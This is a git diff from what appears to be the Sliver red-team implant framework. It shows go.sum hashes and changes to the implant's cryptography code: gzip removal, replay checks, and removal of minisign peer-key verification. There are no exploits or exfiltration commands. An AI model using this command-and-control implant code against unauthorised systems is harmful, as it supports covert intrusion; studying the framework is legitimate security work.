golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20210902050250-f475640dd07b/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1 h1:kwrAHlwJ0DUBZwQ238v+Uod/3eZ8B2K5rYsUHBQvzmI=
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
@@ -647,8 +625,6 @@ golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtn
golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20200207183749-b753a1ba74fa/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28=
golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.0 h1:po9/4sTYwZU9lPhi1tOrb4hCv3qrhiQ77LZfGa2OjwY=
golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
golang.org/x/xerrors v0.0.0-20190410155217-1f06c39b4373/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
golang.org/x/xerrors v0.0.0-20190513163551-3ee3066db522/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
@@ -748,126 +724,4 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh
honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg=
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22 h1:DNtszwGa6w76qlIr+PbPEnlBJdiRV8SaxeigOy0q1gg=
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22/go.mod h1:GVx+5OZtbG4TVOW5ilmyRZAZXr1cNwfqUEkTOtWK0PM=
lukechampine.com/uint128 v1.1.1 h1:pnxCASz787iMf+02ssImqk6OLt+Z5QHMoZyUXR4z6JU=
lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
modernc.org/cc/v3 v3.33.6/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.33.9/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.33.11/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.34.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.0/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.4/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.5/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.7/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.8/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.10/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.15/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.16/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.17/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/cc/v3 v3.35.18 h1:rMZhRcWrba0y3nVmdiQ7kxAgOOSq2m2f2VzjHLgEs6U=
modernc.org/cc/v3 v3.35.18/go.mod h1:iPJg1pkwXqAV16SNgFBVYmggfMg6xhs+2oiO0vclK3g=
modernc.org/ccgo/v3 v3.9.5/go.mod h1:umuo2EP2oDSBnD3ckjaVUXMrmeAw8C8OSICVa0iFf60=
modernc.org/ccgo/v3 v3.10.0/go.mod h1:c0yBmkRFi7uW4J7fwx/JiijwOjeAeR2NoSaRVFPmjMw=
modernc.org/ccgo/v3 v3.11.0/go.mod h1:dGNposbDp9TOZ/1KBxghxtUp/bzErD0/0QW4hhSaBMI=
modernc.org/ccgo/v3 v3.11.1/go.mod h1:lWHxfsn13L3f7hgGsGlU28D9eUOf6y3ZYHKoPaKU0ag=
modernc.org/ccgo/v3 v3.11.3/go.mod h1:0oHunRBMBiXOKdaglfMlRPBALQqsfrCKXgw9okQ3GEw=
modernc.org/ccgo/v3 v3.12.4/go.mod h1:Bk+m6m2tsooJchP/Yk5ji56cClmN6R1cqc9o/YtbgBQ=
modernc.org/ccgo/v3 v3.12.6/go.mod h1:0Ji3ruvpFPpz+yu+1m0wk68pdr/LENABhTrDkMDWH6c=
modernc.org/ccgo/v3 v3.12.8/go.mod h1:Hq9keM4ZfjCDuDXxaHptpv9N24JhgBZmUG5q60iLgUo=
modernc.org/ccgo/v3 v3.12.11/go.mod h1:0jVcmyDwDKDGWbcrzQ+xwJjbhZruHtouiBEvDfoIsdg=
modernc.org/ccgo/v3 v3.12.14/go.mod h1:GhTu1k0YCpJSuWwtRAEHAol5W7g1/RRfS4/9hc9vF5I=
modernc.org/ccgo/v3 v3.12.18/go.mod h1:jvg/xVdWWmZACSgOiAhpWpwHWylbJaSzayCqNOJKIhs=
modernc.org/ccgo/v3 v3.12.20/go.mod h1:aKEdssiu7gVgSy/jjMastnv/q6wWGRbszbheXgWRHc8=
modernc.org/ccgo/v3 v3.12.21/go.mod h1:ydgg2tEprnyMn159ZO/N4pLBqpL7NOkJ88GT5zNU2dE=
modernc.org/ccgo/v3 v3.12.22/go.mod h1:nyDVFMmMWhMsgQw+5JH6B6o4MnZ+UQNw1pp52XYFPRk=
modernc.org/ccgo/v3 v3.12.25/go.mod h1:UaLyWI26TwyIT4+ZFNjkyTbsPsY3plAEB6E7L/vZV3w=
modernc.org/ccgo/v3 v3.12.29/go.mod h1:FXVjG7YLf9FetsS2OOYcwNhcdOLGt8S9bQ48+OP75cE=
modernc.org/ccgo/v3 v3.12.36/go.mod h1:uP3/Fiezp/Ga8onfvMLpREq+KUjUmYMxXPO8tETHtA8=
modernc.org/ccgo/v3 v3.12.38/go.mod h1:93O0G7baRST1vNj4wnZ49b1kLxt0xCW5Hsa2qRaZPqc=
modernc.org/ccgo/v3 v3.12.43/go.mod h1:k+DqGXd3o7W+inNujK15S5ZYuPoWYLpF5PYougCmthU=
modernc.org/ccgo/v3 v3.12.46/go.mod h1:UZe6EvMSqOxaJ4sznY7b23/k13R8XNlyWsO5bAmSgOE=
modernc.org/ccgo/v3 v3.12.47/go.mod h1:m8d6p0zNps187fhBwzY/ii6gxfjob1VxWb919Nk1HUk=
modernc.org/ccgo/v3 v3.12.50/go.mod h1:bu9YIwtg+HXQxBhsRDE+cJjQRuINuT9PUK4orOco/JI=
modernc.org/ccgo/v3 v3.12.51/go.mod h1:gaIIlx4YpmGO2bLye04/yeblmvWEmE4BBBls4aJXFiE=
modernc.org/ccgo/v3 v3.12.53/go.mod h1:8xWGGTFkdFEWBEsUmi+DBjwu/WLy3SSOrqEmKUjMeEg=
modernc.org/ccgo/v3 v3.12.54/go.mod h1:yANKFTm9llTFVX1FqNKHE0aMcQb1fuPJx6p8AcUx+74=
modernc.org/ccgo/v3 v3.12.55/go.mod h1:rsXiIyJi9psOwiBkplOaHye5L4MOOaCjHg1Fxkj7IeU=
modernc.org/ccgo/v3 v3.12.56/go.mod h1:ljeFks3faDseCkr60JMpeDb2GSO3TKAmrzm7q9YOcMU=
modernc.org/ccgo/v3 v3.12.57/go.mod h1:hNSF4DNVgBl8wYHpMvPqQWDQx8luqxDnNGCMM4NFNMc=
modernc.org/ccgo/v3 v3.12.60/go.mod h1:k/Nn0zdO1xHVWjPYVshDeWKqbRWIfif5dtsIOCUVMqM=
modernc.org/ccgo/v3 v3.12.66/go.mod h1:jUuxlCFZTUZLMV08s7B1ekHX5+LIAurKTTaugUr/EhQ=
modernc.org/ccgo/v3 v3.12.67/go.mod h1:Bll3KwKvGROizP2Xj17GEGOTrlvB1XcVaBrC90ORO84=
modernc.org/ccgo/v3 v3.12.73/go.mod h1:hngkB+nUUqzOf3iqsM48Gf1FZhY599qzVg1iX+BT3cQ=
modernc.org/ccgo/v3 v3.12.81/go.mod h1:p2A1duHoBBg1mFtYvnhAnQyI6vL0uw5PGYLSIgF6rYY=
modernc.org/ccgo/v3 v3.12.84/go.mod h1:ApbflUfa5BKadjHynCficldU1ghjen84tuM5jRynB7w=
modernc.org/ccgo/v3 v3.12.86/go.mod h1:dN7S26DLTgVSni1PVA3KxxHTcykyDurf3OgUzNqTSrU=
modernc.org/ccgo/v3 v3.12.88/go.mod h1:0MFzUHIuSIthpVZyMWiFYMwjiFnhrN5MkvBrUwON+ZM=
modernc.org/ccgo/v3 v3.12.90/go.mod h1:obhSc3CdivCRpYZmrvO88TXlW0NvoSVvdh/ccRjJYko=
modernc.org/ccgo/v3 v3.12.92/go.mod h1:5yDdN7ti9KWPi5bRVWPl8UNhpEAtCjuEE7ayQnzzqHA=
modernc.org/ccgo/v3 v3.12.95 h1:Ym2JG2G3P4IyZqjTTojHTl7qO0RysXeGSYPSoKPSBxc=
modernc.org/ccgo/v3 v3.12.95/go.mod h1:ZcLyvtocXYi8uF+9Ebm3G8EF8HNY5hGomBqthDp4eC8=
modernc.org/ccorpus v1.11.1 h1:K0qPfpVG1MJh5BYazccnmhywH4zHuOgJXgbjzyp6dWA=
modernc.org/ccorpus v1.11.1/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ=
modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM=
modernc.org/libc v1.9.8/go.mod h1:U1eq8YWr/Kc1RWCMFUWEdkTg8OTcfLw2kY8EDwl039w=
modernc.org/libc v1.9.11/go.mod h1:NyF3tsA5ArIjJ83XB0JlqhjTabTCHm9aX4XMPHyQn0Q=
modernc.org/libc v1.11.0/go.mod h1:2lOfPmj7cz+g1MrPNmX65QCzVxgNq2C5o0jdLY2gAYg=
modernc.org/libc v1.11.2/go.mod h1:ioIyrl3ETkugDO3SGZ+6EOKvlP3zSOycUETe4XM4n8M=
modernc.org/libc v1.11.5/go.mod h1:k3HDCP95A6U111Q5TmG3nAyUcp3kR5YFZTeDS9v8vSU=
modernc.org/libc v1.11.6/go.mod h1:ddqmzR6p5i4jIGK1d/EiSw97LBcE3dK24QEwCFvgNgE=
modernc.org/libc v1.11.11/go.mod h1:lXEp9QOOk4qAYOtL3BmMve99S5Owz7Qyowzvg6LiZso=
modernc.org/libc v1.11.13/go.mod h1:ZYawJWlXIzXy2Pzghaf7YfM8OKacP3eZQI81PDLFdY8=
modernc.org/libc v1.11.16/go.mod h1:+DJquzYi+DMRUtWI1YNxrlQO6TcA5+dRRiq8HWBWRC8=
modernc.org/libc v1.11.19/go.mod h1:e0dgEame6mkydy19KKaVPBeEnyJB4LGNb0bBH1EtQ3I=
modernc.org/libc v1.11.24/go.mod h1:FOSzE0UwookyT1TtCJrRkvsOrX2k38HoInhw+cSCUGk=
modernc.org/libc v1.11.26/go.mod h1:SFjnYi9OSd2W7f4ct622o/PAYqk7KHv6GS8NZULIjKY=
modernc.org/libc v1.11.27/go.mod h1:zmWm6kcFXt/jpzeCgfvUNswM0qke8qVwxqZrnddlDiE=
modernc.org/libc v1.11.28/go.mod h1:Ii4V0fTFcbq3qrv3CNn+OGHAvzqMBvC7dBNyC4vHZlg=
modernc.org/libc v1.11.31/go.mod h1:FpBncUkEAtopRNJj8aRo29qUiyx5AvAlAxzlx9GNaVM=
modernc.org/libc v1.11.34/go.mod h1:+Tzc4hnb1iaX/SKAutJmfzES6awxfU1BPvrrJO0pYLg=
modernc.org/libc v1.11.37/go.mod h1:dCQebOwoO1046yTrfUE5nX1f3YpGZQKNcITUYWlrAWo=
modernc.org/libc v1.11.39/go.mod h1:mV8lJMo2S5A31uD0k1cMu7vrJbSA3J3waQJxpV4iqx8=
modernc.org/libc v1.11.42/go.mod h1:yzrLDU+sSjLE+D4bIhS7q1L5UwXDOw99PLSX0BlZvSQ=
modernc.org/libc v1.11.44/go.mod h1:KFq33jsma7F5WXiYelU8quMJasCCTnHK0mkri4yPHgA=
modernc.org/libc v1.11.45/go.mod h1:Y192orvfVQQYFzCNsn+Xt0Hxt4DiO4USpLNXBlXg/tM=
modernc.org/libc v1.11.47/go.mod h1:tPkE4PzCTW27E6AIKIR5IwHAQKCAtudEIeAV1/SiyBg=
modernc.org/libc v1.11.49/go.mod h1:9JrJuK5WTtoTWIFQ7QjX2Mb/bagYdZdscI3xrvHbXjE=
modernc.org/libc v1.11.51/go.mod h1:R9I8u9TS+meaWLdbfQhq2kFknTW0O3aw3kEMqDDxMaM=
modernc.org/libc v1.11.53/go.mod h1:5ip5vWYPAoMulkQ5XlSJTy12Sz5U6blOQiYasilVPsU=
modernc.org/libc v1.11.54/go.mod h1:S/FVnskbzVUrjfBqlGFIPA5m7UwB3n9fojHhCNfSsnw=
modernc.org/libc v1.11.55/go.mod h1:j2A5YBRm6HjNkoSs/fzZrSxCuwWqcMYTDPLNx0URn3M=
modernc.org/libc v1.11.56/go.mod h1:pakHkg5JdMLt2OgRadpPOTnyRXm/uzu+Yyg/LSLdi18=
modernc.org/libc v1.11.58/go.mod h1:ns94Rxv0OWyoQrDqMFfWwka2BcaF6/61CqJRK9LP7S8=
modernc.org/libc v1.11.71/go.mod h1:DUOmMYe+IvKi9n6Mycyx3DbjfzSKrdr/0Vgt3j7P5gw=
modernc.org/libc v1.11.75/go.mod h1:dGRVugT6edz361wmD9gk6ax1AbDSe0x5vji0dGJiPT0=
modernc.org/libc v1.11.82/go.mod h1:NF+Ek1BOl2jeC7lw3a7Jj5PWyHPwWD4aq3wVKxqV1fI=
modernc.org/libc v1.11.86/go.mod h1:ePuYgoQLmvxdNT06RpGnaDKJmDNEkV7ZPKI2jnsvZoE=
modernc.org/libc v1.11.87/go.mod h1:Qvd5iXTeLhI5PS0XSyqMY99282y+3euapQFxM7jYnpY=
modernc.org/libc v1.11.88/go.mod h1:h3oIVe8dxmTcchcFuCcJ4nAWaoiwzKCdv82MM0oiIdQ=
modernc.org/libc v1.11.90/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.98/go.mod h1:ynK5sbjsU77AP+nn61+k+wxUGRx9rOFcIqWYYMaDZ4c=
modernc.org/libc v1.11.99/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.101/go.mod h1:wLLYgEiY2D17NbBOEp+mIJJJBGSiy7fLL4ZrGGZ+8jI=
modernc.org/libc v1.11.104 h1:gxoa5b3HPo7OzD4tKZjgnwXk/w//u1oovvjSMP3Q96Q=
modernc.org/libc v1.11.104/go.mod h1:2MH3DaF/gCU8i/UBiVE1VFRos4o523M7zipmwH8SIgQ=
modernc.org/mathutil v1.1.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.4.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/mathutil v1.4.1 h1:ij3fYGe8zBF4Vu+g0oT7mB06r8sqGWKuJu1yXeR4by8=
modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E=
modernc.org/memory v1.0.4/go.mod h1:nV2OApxradM3/OVbs2/0OsP6nPfakXpi50C7dcoHXlc=
modernc.org/memory v1.0.5 h1:XRch8trV7GgvTec2i7jc33YlUI0RKVDBvZ5eZ5m8y14=
modernc.org/memory v1.0.5/go.mod h1:B7OYswTRnfGg+4tDH1t1OeUNnsy2viGTdME4tzd+IjM=
modernc.org/opt v0.1.1 h1:/0RX92k9vwVeDXj+Xn23DKp2VJubL7k8qNffND6qn3A=
modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sqlite v1.14.3 h1:psrTwgpEujgWEP3FNdsC9yNh5tSeA77U0GeWhHH4XmQ=
modernc.org/sqlite v1.14.3/go.mod h1:xMpicS1i2MJ4C8+Ap0vYBqTwYfpFvdnPE6brbFOtV2Y=
modernc.org/strutil v1.1.1 h1:xv+J1BXY3Opl2ALrBwyfEikFAj8pmqcpnfmuwUwcozs=
modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw=
modernc.org/tcl v1.9.2 h1:YA87dFLOsR2KqMka371a2Xgr+YsyUwo7OmHVSv/kztw=
modernc.org/tcl v1.9.2/go.mod h1:aw7OnlIoiuJgu1gwbTZtrKnGpDqH9wyH++jZcxdqNsg=
modernc.org/token v1.0.0 h1:a0jaWiNMDhDUtqOj09wvjWWAqd3q7WpBulmL9H2egsk=
modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
modernc.org/z v1.2.20 h1:DyboxM1sJR2NB803j2StnbnL6jcQXz273OhHDGu8dGk=
modernc.org/z v1.2.20/go.mod h1:zU9FiF4PbHdOTUxw+IF8j7ArBMRPsHgq10uVPt6xTzo=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
+11 -38
View File
@@ -19,8 +19,6 @@ package cryptography
*/
import (
"bytes"
"compress/gzip"
"crypto/rand"
"crypto/sha256"
"crypto/x509"
@@ -108,7 +106,7 @@ func Encrypt(key [chacha20poly1305.KeySize]byte, plaintext []byte) ([]byte, erro
if _, err := rand.Read(nonce); err != nil {
return nil, err
}
return aead.Seal(nonce, nonce, GzipBuf(plaintext), nil), nil
return aead.Seal(nonce, nonce, plaintext, nil), nil
}
// Decrypt - Decrypt using chacha20poly1305
@@ -126,11 +124,7 @@ func Decrypt(key [chacha20poly1305.KeySize]byte, ciphertext []byte) ([]byte, err
nonce, ciphertext := ciphertext[:aead.NonceSize()], ciphertext[aead.NonceSize():]
// Decrypt the message and check it wasn't tampered with.
plaintext, err := aead.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, err
}
return GunzipBuf(plaintext), nil
return aead.Open(nil, nonce, ciphertext, nil)
}
// NewCipherContext - Wrapper around creating a cipher context from a key
@@ -149,17 +143,15 @@ type CipherContext struct {
}
// Decrypt - Decrypt a message with the contextual key and check for replay attacks
func (c *CipherContext) Decrypt(ciphertext []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, ciphertext)
func (c *CipherContext) Decrypt(data []byte) ([]byte, error) {
plaintext, err := Decrypt(c.Key, data)
if err != nil {
return nil, err
}
if 0 < len(ciphertext) {
digest := sha256.Sum256(ciphertext)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
digest := sha256.Sum256(data)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
if _, ok := c.replay.LoadOrStore(b64Digest, true); ok {
return nil, ErrReplayAttack
}
return plaintext, nil
}
@@ -170,11 +162,9 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
if err != nil {
return nil, err
}
if 0 < len(ciphertext) {
digest := sha256.Sum256(ciphertext)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
c.replay.Store(b64Digest, true)
}
digest := sha256.Sum256(ciphertext)
b64Digest := base64.RawStdEncoding.EncodeToString(digest[:])
c.replay.Store(b64Digest, true)
return ciphertext, nil
}
@@ -234,20 +224,3 @@ func RootOnlyVerifyCertificate(caCertPEM string, rawCerts [][]byte, _ [][]*x509.
return nil
}
// GzipBuf - Gzip a buffer
func GzipBuf(data []byte) []byte {
var buf bytes.Buffer
zip := gzip.NewWriter(&buf)
zip.Write(data)
zip.Close()
return buf.Bytes()
}
// GunzipBuf - Gunzip a buffer
func GunzipBuf(data []byte) []byte {
zip, _ := gzip.NewReader(bytes.NewBuffer(data))
var buf bytes.Buffer
buf.ReadFrom(zip)
return buf.Bytes()
}
+11 -82
View File
@@ -2,7 +2,7 @@ package cryptography
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,46 +21,36 @@ package cryptography
import (
"crypto/sha256"
"encoding/base64"
"errors"
// {{if .Config.Debug}}
"log"
// {{end}}
)
var (
// ECCPublicKey - The implant's ECC public key
ECCPublicKey = "{{.Config.ECCPublicKey}}"
eccPublicKey = "{{.Config.ECCPublicKey}}"
// eccPrivateKey - The implant's ECC private key
eccPrivateKey = "{{.Config.ECCPrivateKey}}"
// eccPublicKeySignature - The implant's public key minisigned'd
ECCPublicKeySignature = `{{.Config.ECCPublicKeySignature}}`
// eccPublicKeySignature - The implant's signed ECC key by the server using Ed25519
eccPublicKeySignature = "{{.Config.ECCPublicKeySignature}}"
// eccServerPublicKey - Server's ECC public key
eccServerPublicKey = "{{.Config.ECCServerPublicKey}}"
// minisignServerPublicKey - The server's minisign public key
minisignServerPublicKey = `{{.Config.MinisignServerPublicKey}}`
// TOTP secret value
totpSecret = "{{.OTPSecret}}"
ErrInvalidPeerKey = errors.New("invalid peer key")
)
// {{if .Config.Debug}} - Used for unit tests, remove from normal builds where these values are set at compile-time
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret, newMinisignServerPublicKey string) {
ECCPublicKey = newEccPublicKey
func SetSecrets(newEccPublicKey, newEccPrivateKey, newEccPublicKeySignature, newEccServerPublicKey, newTotpSecret string) {
eccPublicKey = newEccPublicKey
eccPrivateKey = newEccPrivateKey
ECCPublicKeySignature = newEccPublicKeySignature
eccPublicKeySignature = newEccPublicKeySignature
eccServerPublicKey = newEccServerPublicKey
totpSecret = newTotpSecret
minisignServerPublicKey = newMinisignServerPublicKey
}
// {{end}}
// GetECCKeyPair - Get the implant's key pair
func GetECCKeyPair() *ECCKeyPair {
publicRaw, err := base64.RawStdEncoding.DecodeString(ECCPublicKey)
publicRaw, err := base64.RawStdEncoding.DecodeString(eccPublicKey)
if err != nil {
panic("no public key")
}
@@ -78,37 +68,8 @@ func GetECCKeyPair() *ECCKeyPair {
}
}
// MinisignVerify - Verify a minisign signature
func MinisignVerify(message []byte, signature string) bool {
serverPublicKey, err := DecodeMinisignPublicKey(minisignServerPublicKey)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode minisign public key: %s", err)
// {{end}}
return false
}
sig, err := DecodeMinisignSignature(signature)
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to decode minisign signature: %s", err)
// {{end}}
return false
}
valid, err := serverPublicKey.Verify(message, sig)
if err != nil {
// {{if .Config.Debug}}
log.Printf("minisign signature validation error: %s", err)
// {{end}}
return false
}
// {{if .Config.Debug}}
log.Printf("minisign signature validation: %v", valid)
// {{end}}
return valid
}
// GetServerECCPublicKey - Get the decoded server public key
func GetServerECCPublicKey() *[32]byte {
// GetServerPublicKey - Get the decoded server public key
func GetServerPublicKey() *[32]byte {
publicRaw, err := base64.RawStdEncoding.DecodeString(eccServerPublicKey)
if err != nil {
return nil
@@ -120,7 +81,7 @@ func GetServerECCPublicKey() *[32]byte {
// ECCEncryptToServer - Encrypt using the server's public key
func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
recipientPublicKey := GetServerECCPublicKey()
recipientPublicKey := GetServerPublicKey()
if recipientPublicKey == nil {
panic("no server public key")
}
@@ -135,35 +96,3 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
copy(msg[32:], ciphertext)
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
return nil, ErrInvalidPeerKey
}
var peerPublicKey [32]byte
copy(peerPublicKey[:], recipientPublicKey)
keyPair := GetECCKeyPair()
ciphertext, err := ECCEncrypt(&peerPublicKey, keyPair.Private, plaintext)
if err != nil {
return nil, err
}
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
return nil, ErrInvalidPeerKey
}
var peerPublicKey [32]byte
copy(peerPublicKey[:], senderPublicKey)
keyPair := GetECCKeyPair()
plaintext, err := ECCDecrypt(&peerPublicKey, keyPair.Private, ciphertext)
if err != nil {
return nil, err
}
return plaintext, nil
}
-135
View File
@@ -1,135 +0,0 @@
package cryptography
/*
MIT License
Copyright (c) 2018-2021 Frank Denis
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
import (
"encoding/base64"
"errors"
"strings"
"golang.org/x/crypto/blake2b"
"golang.org/x/crypto/ed25519"
)
// PublicKey - Represents a public key
type PublicKey struct {
SignatureAlgorithm [2]byte
KeyId [8]byte
PublicKey [32]byte
}
// Signature - Represents a minisign signature
type Signature struct {
UntrustedComment string
SignatureAlgorithm [2]byte
KeyId [8]byte
Signature [64]byte
TrustedComment string
GlobalSignature [64]byte
}
// minisignPublicKey - Creates a new public key
func minisignPublicKey(publicKeyStr string) (PublicKey, error) {
var publicKey PublicKey
bin, err := base64.StdEncoding.DecodeString(publicKeyStr)
if err != nil || len(bin) != 42 {
return publicKey, errors.New("invalid encoded public key")
}
copy(publicKey.SignatureAlgorithm[:], bin[0:2])
copy(publicKey.KeyId[:], bin[2:10])
copy(publicKey.PublicKey[:], bin[10:42])
return publicKey, nil
}
func DecodeMinisignPublicKey(in string) (PublicKey, error) {
var publicKey PublicKey
lines := strings.SplitN(in, "\n", 2)
if len(lines) < 2 {
return publicKey, errors.New("incomplete encoded public key")
}
return minisignPublicKey(lines[1])
}
func trimCarriageReturn(input string) string {
return strings.TrimRight(input, "\r")
}
// DecodeMinisignSignature - Decodes a signature
func DecodeMinisignSignature(in string) (Signature, error) {
var signature Signature
lines := strings.SplitN(in, "\n", 4)
if len(lines) < 4 {
return signature, errors.New("incomplete encoded signature")
}
